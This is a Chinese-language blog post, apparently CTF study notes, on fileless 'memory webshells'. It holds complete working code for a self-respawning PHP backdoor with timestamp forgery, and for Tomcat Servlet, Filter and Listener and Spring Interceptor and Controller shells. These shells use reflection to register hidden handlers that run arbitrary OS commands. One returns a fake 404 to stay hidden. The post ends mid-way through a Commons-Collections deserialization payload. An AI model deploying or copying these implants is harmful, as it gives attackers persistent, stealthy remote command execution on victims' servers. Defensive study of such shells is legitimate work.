内存马初识与浅析
文章目录
前言
虽然说实战还没遇到过要用到内存马的情况,但是在一些竞赛中经常会有不出网的应用,除了写文件之外,打内存马也是一个不错的选择,之前基本上没了解过内存马,现在来浅析一下。
内存马
内存马
也称无文件落地Webshell
,主要是通过操作Web程序的内存对象的形式来执行恶意代码,相相对普通的文件Webshell
驻留后门,这种形式更难给检测和拦截,也就是说这种形式的Webshell
隐蔽性更强。
基础原理
在Web应用程序中,比如说Java Web
存在各种组件如Listener
、Filter
、Servlet
等组件,这些组件用于处理请求和响应以及特定的操作。
Listener
(监听器)是一种用于监视Web应用程序中特定事件的组件。它可以监听Web应用程序的生命周期事件(如启动、停止、初始化等),也可以监听特定类型的请求和会话事件(如请求到达、会话创建、销毁等)。它可以用来执行一些与事件相关的操作,如日志记录、统计、资源加载等。
Filter
(过滤器)是一种可以对请求和响应进行预处理和后处理的组件。它可以在Servlet被调用之前对请求进行拦截,并在Servlet处理完请求后对响应进行处理。通过使用过滤器,可以对请求进行身份验证、数据转换、日志记录等操作,还可以对响应进行压缩、字符编码等操作。
Servlet
(服务器小程序)是一种在Java Web应用程序中处理HTTP请求和生成响应的组件。Servlet通常用于动态生成Web页面、处理表单数据、调用业务逻辑等。Servlet类需要继承 HttpServlet 类,并且需要实现 doGet
、doPost
等方法,用来处理不同类型的请求。
内存马就是通过利用请求修改内存中已有的组件或者注册一个新的组件写入恶意代码,达到持久化、隐蔽控制服务器的目的,下文主要以是Java Web
内存马的学习记录。
PHP内存马
php
内存马其实也叫不死马,一般在CTF
决赛的AWD
进行攻防对抗的时候是经常用到的,这种马的原理也是比较简单,但是比一般的文件Webshell
要难清除一些。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = '<?php if(md5($_GET["pass"])=="bf124fb51e09438c2a8ef5c31e3146d3"){@eval($_POST['aiwin']);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .shell.php');
usleep(3000);
}
?>
ignore_user_abort(1);
设置为true
,表示忽略用户中止连接,即使与客户机断开,脚本也依旧会执行。
set_time_limit(0);
设置脚本的执行时间,设置为0表示没有时间限制。
unlink(\__FILE\__);
删除文件本身。
usleep(3000);
指延迟休眠3豪秒。代码的意思就是断的通过
file_put_contents
创建包含webshell
的文件,前缀是.
表示是隐藏文件,通过这种形式来达到不死马的效果。
至于这种不死马的克制也十分简单,它是间隔是3
毫秒,只要你比它更快写将无害代码写入同名的文件中即可。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = 'no shell';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .shell.php');
usleep(1000);
}
?>
还有一种比较暴力的方法就是不断的对Webshell
文件进行删除操作,通过这种竞争的形式杀掉shell
,当然你也可以写的更复杂,去获取它的进程号,不断的kill
进程也可以。
#!/bin/bash
while true
do
rm -rf .shell.php
done
Tomcat内存马
- 第一步,获取当前请求的
HttpRequest
对象或tomcat的StandardContext
对象 - 第二步,创建
servlet
等恶意对象。 - 第三步,使用各类
context
对象的各种方法,向StandardContext
添加servlet
恶意对象,完成内存马的注入。
Servlet内存马
首先我们常用的jsp
马如下:
public class WebshellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
boolean isWindows = false;
String systemType = System.getProperty("os.name"); // 获取操作系统的类型
if(systemType!=null&&systemType.toLowerCase().contains("win")){
isWindows=true;
}
String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
String output = s.hasNext() ? s.next() : "";
PrintWriter printWriter=servletResponse.getWriter();
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
}
我们还需要向
context
对象中加载这个恶意的servlet
在解析Web.xml
时,可以看到它将全部servlet
放到了wrapper
容器接口中,并全部放入了StandardContext
,所以这里我们也需要获取到StandardContext
private void configureContext(WebXml webxml) {
//servlet
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper(); //创建容器接口
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());//没加载则设置启动加载
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());//指定 Servlet 是否启用
}
wrapper.setName(servlet.getServletName());//获取Servlet名放入到wrapper中
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) { //添加初始化的参数
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();//支持角色授权机制
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());//获取servlet的全类名
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
//根据 multipartdef 对象的信息,将文件上传的相关配置设置到 Wrapper 对象的 multipart 配置中,以支持处理文件上传功能
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
//是否支持异步
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
//是否允许覆盖现有的 Servlet
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper); //将wrapper放入到contenxt中
}
StandardContext
可以在ServletContext
的ApplicaionContext
里面,ServletContext
可以通过ServletRequest
获取,因此获取StandardContext
,并将wrapper接口放入即可。
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
<%!
public class WebshellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
boolean isWindows = false;
String systemType = System.getProperty("os.name"); // 获取操作系统的类型
if(systemType!=null&&systemType.toLowerCase().contains("win")){
isWindows=true;
}
String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
String output = s.hasNext() ? s.next() : "";
PrintWriter printWriter=servletResponse.getWriter();
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
}
%>
<%
//获取ApplicationContext
ServletContext servletContext=request.getServletContext();
Field applicationField=servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) applicationField.get(servletContext);
//获取StandardContext
Field standardField=applicationContext.getClass().getDeclaredField("context");
standardField.setAccessible(true);
StandardContext standardContext= (StandardContext) standardField.get(applicationContext);
Wrapper wrapper= standardContext.createWrapper();
wrapper.setName("WebshellServlet");
wrapper.setServletClass(WebshellServlet.class.getName());
wrapper.setServlet(new WebshellServlet());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/webshell","WebshellServlet");//URL->类方法的映射
%>
访问index.jsp,
WebshellServlet
被注册进去,即使删掉shell.jsp
,可以访问Webshell
Filter内存马
Filter
是用于在请求被发送到Servlet
之前或响应被发送回客户端之前,对请求进行预处理或响应进行后处理的组件。Filter 应用于 Web 应用程序的 URL 路径,可以截获客户端发往服务器的请求,或者截获服务器返回给客户端的响应,从而允许开发人员编写用于修改、转换或校验请求和响应的代码,可用于请求参数的处理、性能监控、认证授权等等。
- 第一步,创建一个恶意的
Filter
类 - 第二步,向
standardContext
设置filterDef
和filterMap
- 第三步,将
filterDef
和standardContext
放到filterConfig
同样在Web.xml
初始化加载的时候可以看到会遍历全部的Filter
,并放入到Context
中
for (FilterDef filter : webxml.getFilters().values()) {
if (filter.getAsyncSupported() == null) {
filter.setAsyncSupported("false"); //是否支持异步
}
context.addFilterDef(filter);
}
for (FilterMap filterMap : webxml.getFilterMappings()) {//Filter映射
context.addFilterMap(filterMap);
}
这里要注意还需要将filterDef
和对应的standardContext
放入到FilterConfig
中。
<%!
public class WebShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
boolean isWindows = false;
String systemType = System.getProperty("os.name"); // 获取操作系统的类型
if(systemType!=null&&systemType.toLowerCase().contains("win")){
isWindows=true;
}
String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
String output = s.hasNext() ? s.next() : "";
PrintWriter printWriter=servletResponse.getWriter();
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
%>
<%
ServletContext servletContext=request.getServletContext();
Field ApplicationField=servletContext.getClass().getDeclaredField("context");
ApplicationField.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) ApplicationField.get(servletContext);
Field StandardField=applicationContext.getClass().getDeclaredField("context");
StandardField.setAccessible(true);
StandardContext standardContext= (StandardContext) StandardField.get(applicationContext);
//添加FilterDef
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef filterDef = (FilterDef)declaredConstructors.newInstance();
filterDef.setFilterClass(WebShellFilter.class.getName());
filterDef.setFilter(new WebShellFilter());
filterDef.setFilterName("WebShellFilter");
standardContext.addFilterDef(filterDef);
//添加FilterMap
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
FilterMap filterMap = (FilterMap)declaredConstructor.newInstance();
filterMap.setFilterName("WebShellFilter");
filterMap.addURLPattern("/webshellfilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分发器类型为REQUEST,表示Filter将在每个HTTP请求的处理阶段被调用
standardContext.addFilterMap(filterMap);
//将standardContext和filterDef放入FilterConfig
Class applicationConfig=Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor=applicationConfig.getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
Field filterConfigField=standardContext.getClass().getDeclaredField("filterConfigs");// filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
filterConfigField.setAccessible(true);
Map filterConfigs= (Map) filterConfigField.get(standardContext);
filterConfigs.put("WebShellFilter",filterConfig);
%>
Listen内存马
Listen
(监听器)是用于监听和处理特定事件的组件。它是基于观察者设计模式实现的。可以在特定事件发生时执行相应的操作,例如记录日志、执行特定逻辑、修改请求参数等。监听器可以通过在 web.xml
文件中进行配置,也可以使用注解方式进行配置。
- 第一步,创建一个恶意的
listen
类 - 第二步,将
liten
类加入Context
for (String listener : webxml.getListeners()) {
context.addApplicationListener(listener);
}
直接通过addApplicationListener
加到context
里面,会发现不行,因为listener
并没有被放到context
中,而是被containerEvent
处理了。
@Override
public void addApplicationListener(String listener) {
synchronized (applicationListenersLock) {
String results[] = new String[applicationListeners.length + 1];
for (int i = 0; i < applicationListeners.length; i++) {
if (listener.equals(applicationListeners[i])) {
log.info(sm.getString("standardContext.duplicateListener", listener));
return;
}
results[i] = applicationListeners[i];
}
results[applicationListeners.length] = listener;
applicationListeners = results;
}
fireContainerEvent("addApplicationListener", listener);
}
@Override
public void fireContainerEvent(String type, Object data) {
if (listeners.size() < 1) {
return;
}
ContainerEvent event = new ContainerEvent(this, type, data);
// Note for each uses an iterator internally so this is safe
for (ContainerListener listener : listeners) {
listener.containerEvent(event);
}
}
加到context
中的应该是addApplicationEventListener
,加入到applicationEventListenersList
列表中。
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
<%!
public class WebShelllistener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
ServletRequest servletRequest = servletRequestEvent.getServletRequest();
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
boolean isWindows = false;
String systemType = System.getProperty("os.name"); // 获取操作系统的类型
if (systemType != null && systemType.toLowerCase().contains("win")) {
isWindows = true;
}
String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
InputStream inputStream = null;
try {
inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
Field requestField= null;
try {
requestField = servletRequest.getClass().getDeclaredField("request");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
requestField.setAccessible(true);
Request request= null;
try {
request = (Request) requestField.get(servletRequest);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
String output = s.hasNext() ? s.next() : "";
PrintWriter printWriter = null;
try {
printWriter = request.getResponse().getWriter();
} catch (IOException e) {
e.printStackTrace();
}
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
}
}
%>
<%
ServletContext context=request.getServletContext();
Field applicationField=context.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) applicationField.get(context);
Field standardField=applicationContext.getClass().getDeclaredField("context");
standardField.setAccessible(true);
StandardContext standardContext= (StandardContext) standardField.get(applicationContext);
standardContext.addApplicationEventListener(new WebShelllistener());
%>
springboot内存马
Interceptor内存马
在Spring Boot中,拦截器(Interceptor)是一种用于拦截HTTP请求和响应的功能。它可以在请求到达控制器之前或响应返回给客户端之前执行一些预处理或后处理操作,这跟Tomcat#Filter
的作用是相似的。
要在Spring Boot中使用拦截器,你可以创建一个实现HandlerInterceptor
接口的类,并实现它的三个方法:
preHandle
:在请求到达控制器之前执行,可以进行一些预处理操作。如果返回值为true,表示继续处理请求;如果返回值为false,表示终止请求的处理。postHandle
:在请求处理完成后,渲染视图之前执行。可以进行一些后处理操作。afterCompletion
:在整个请求完成后执行,无论视图是否渲染成功。可以用来进行资源清理操作。
大致看一下PreHandler
的执行流程:
springboot
中DispatcherServlet#doDispatch
会对HTTP请求进行解析,并确定对应的处理器和处理器适配器,获取处理器执行后的结果并渲染视图返回。在这个方法中,会创建一个HandlerExectionChain
类,并通过getHandler
方法来获取Handler
在DispatcherServlet#getHandler
方法中,会遍历HandlerMapping
,从每一个mappings
中调用getHandler
获取handler
在AbstractHandlerMapping#getHandler
,首先会从当前的请求中获取对应的Handler
对象,如果为空,则获取默认的Handler
,如果Handler
是字符串类型,则从ApplicationContext
上下文中获取对应的处理器Bean
,然后判断当前请求路径是否被缓存,如果没被缓存则初始化查找路径,最后调用getHandlerExecutionChain
方法获取HandlerChain
getHandlerExecutionChain
放啊中,会遍历adaptedInterceptors
,如果当前request
请求与Interceptor
拦截器匹配,则把Interceptor
加入到chain
中,然后全部返回。
再看doDispatch
方法,在获取到了chain
后,会调用applyPreHandle
方法。
applyPreHandle
方法,遍历interceptorList
拦截器列表,然后执行拦截器中的preHandle
方法,完成调用。
因此Interceptor
内存马大致可分为三步:
- 获取
ApplicationContext
程序的上下文,这里一般是通过RequestContextHolder
或者ContextLoader
获取都可 - 获取
AbstractHandlerMapping
中的adaptedInterceptors
字段 - 将自定义的恶意
Handler
添加到adaptedInterceptors
字段中。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
public class MemShellInterceptor extends AbstractTranslet implements HandlerInterceptor{
public MemShellInterceptor() throws NoSuchFieldException, IllegalAccessException {
//获取webApplicationContext
//WebApplicationContext webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContext webApplicationContext= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0);
AbstractHandlerMapping abstractHandlerMapping= (RequestMappingHandlerMapping) webApplicationContext.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//自定义的恶意Handler添加到adaptedInterceptors中
MemShellInterceptor memShellInterceptor=new MemShellInterceptor("test");
adaptedInterceptors.add(memShellInterceptor);
}
public MemShellInterceptor(String test){
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
String cmd = request.getParameter("cmd");
if(cmd!=null) {
boolean isWindows = false;
String systemType = System.getProperty("os.name"); // 获取操作系统的类型
if (systemType != null && systemType.toLowerCase().contains("win")) {
isWindows = true;
}
String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
String output = s.hasNext() ? s.next() : "";
PrintWriter printWriter = response.getWriter();
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
else {
PrintWriter printWriter = response.getWriter();
printWriter.println("404 Page Not found");
printWriter.flush();
printWriter.close();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
Controller内存马
控制器(Controller)是指负责处理用户请求并返回响应的组件或模块。它是 MVC(Model-View-Controller)
设计模式中的一部分,用于将用户的输入(例如通过网络或界面)传递给相应的处理逻辑,并返回相应的结果,简单来说,就是访问路由进行处理的对应函数。
Controller
内存马相对于Interceptor
内存马来说,缺点就在于,当存在Interceptor
拦截的时候,Controller
内存马就没法使用了,因为Interceptor
在调用Controller
之前。
Controller
流程注册简要分析:
首先在AbstractHandlerMethodMapping#initHandlerMethods()
方法中进行初始化,遍历所有的BeanName
,只要BeanName
不以scopedTarget.
开头,则会进入processCandidateBean
方法
在AbstractHandlerMethodMapping#processCandidateBean
中,会根据beanName
获取类型,随后使用isHandler
方法判断是否存在Controller.class||RequestMapping.class
注解,存在则进入到detectHandlerMethods
方法中
进入到detectHandlerMethods
中,会进入到重写的getMappingForMethod
方法中,在这个方法里面会将当前hanler
下的method
作为参数经过createRequestMappinginfo
创建RequestMappinginfo
,又以handlerType
为参数创建RequestMappinginfo
,并将RequestMappinginfo
返回。
随后往下走,会进入循环,取出methods
中的键值对,分别执行registerHandlerMethod
。
最终经过registerHandlerMethod
将路由注册进入了mappingRegistry
中,也就是MappingRegistry
类。
注册Controller
内存马可分为
- 获取
WebApplicationContext
上下文和RequestMappingHandlerMapping
- 获取实例
bean
和method
对象 - 定义
url
和对应的controller
并在内存中注册controller
注意,在spring2.5-3.1
使用DefaultAnnotationHandlerMapping
处理URL映射。spring3.1
以后使用RequestMappingHandlerMapping
。
spring2.5-3.1内存马
public class MemShellMappingRegistry {
public MemShellMappingRegistry() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取mappingRegistry
Field field = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
field.setAccessible(true);
//反射获取方法
Object mappingRegistry = field.get(mapping);
Class<?> c =Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] methods=c.getDeclaredMethods();
//定义访问controller的URL地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
//获取RequestMappingInfo
Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
Constructor<?> constructor =class1.getDeclaredConstructor(PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestCondition.class);
RequestMappingInfo requestMappingInfo= (RequestMappingInfo) constructor.newInstance(url, condition, null, null, null, null, null);
//恶意的Controller方法
MemShellMappingRegistry memShellMappingRegistry = new MemShellMappingRegistry("aaa");
Method method1=memShellMappingRegistry.getClass().getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
//获取register方法
for(Method method:methods){
if("register".equals(method.getName())){
method.setAccessible(true);
method.invoke(mappingRegistry,requestMappingInfo,memShellMappingRegistry,method1);
}
}
}
根据上面分析,直接获取
MappingRegistry
类,调用MappingRegistry#registry()
直接注册
package com.example.memshellspring;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class MemShellController {
public MemShellController() throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//WebApplicationContext webApplicationContext= ContextLoader.getCurrentWebApplicationContext();不行
//RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());//版本问题,方法已去掉
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//获取实例bean
RequestMappingHandlerMapping requestMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
//获取controller的method对象
Method method =MemShellController.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
//定义访问controller的URL地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
//定义允许访问URL的方法
RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
// RequestMappingInfo requestMappingInfo=new RequestMappingInfo(url,requestMethodsRequestCondition,null,null,null,null,null);//弃用了。
//在内存中动态注册 controller
Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
Constructor<?> constructor =class1.getDeclaredConstructor(PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestCondition.class);
RequestMappingInfo requestMappingInfo= (RequestMappingInfo) constructor.newInstance(url, requestMethodsRequestCondition, null, null, null, null, null);
MemShellController memShellController = new MemShellController("aaa");
requestMapping.registerMapping(requestMappingInfo, memShellController, method);//通过调用registerMapping调用 this.mappingRegistry.register(mapping, handler, method);
}
public MemShellController(String name) {
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
String cmd = request.getParameter("cmd");
if (cmd != null) {
boolean isWindows = false;
String systemType = System.getProperty("os.name"); // 获取操作系统的类型
if (systemType != null && systemType.toLowerCase().contains("win")) {
isWindows = true;
}
String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};//判断Linux和Window执行对应命令
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\A"); //以 “bell” 字符作为输入的结束符,为了输出好看
String output = s.hasNext() ? s.next() : "";
PrintWriter printWriter = response.getWriter();
printWriter.println(output);
printWriter.flush();
printWriter.close();
} else {
PrintWriter printWriter = response.getWriter();
printWriter.println("404 Page Not found");
printWriter.flush();
printWriter.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
在我使用上面两个的时候,报错了,报了
java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".
错误,因为Springboot 2.6.0
版本开始,官方修改了url路径的默认匹配策略
springboot>2.6内存马
public class MemShell extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = MemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
MemShell springControllerMemShell = new MemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
}
示例(打CC链子)
这里尝试下使用Interceptor
内存马打一个CC链,引入CC依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
引入代码:
写出payload
如下,注意jdk
版本,这条链子在高版本的JDK中不可用,因为AnnotationInvocationHandler
被改动了:
package com.example.memshellspring;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CCMemshell {
public static void main(String[] args) throws Exception {
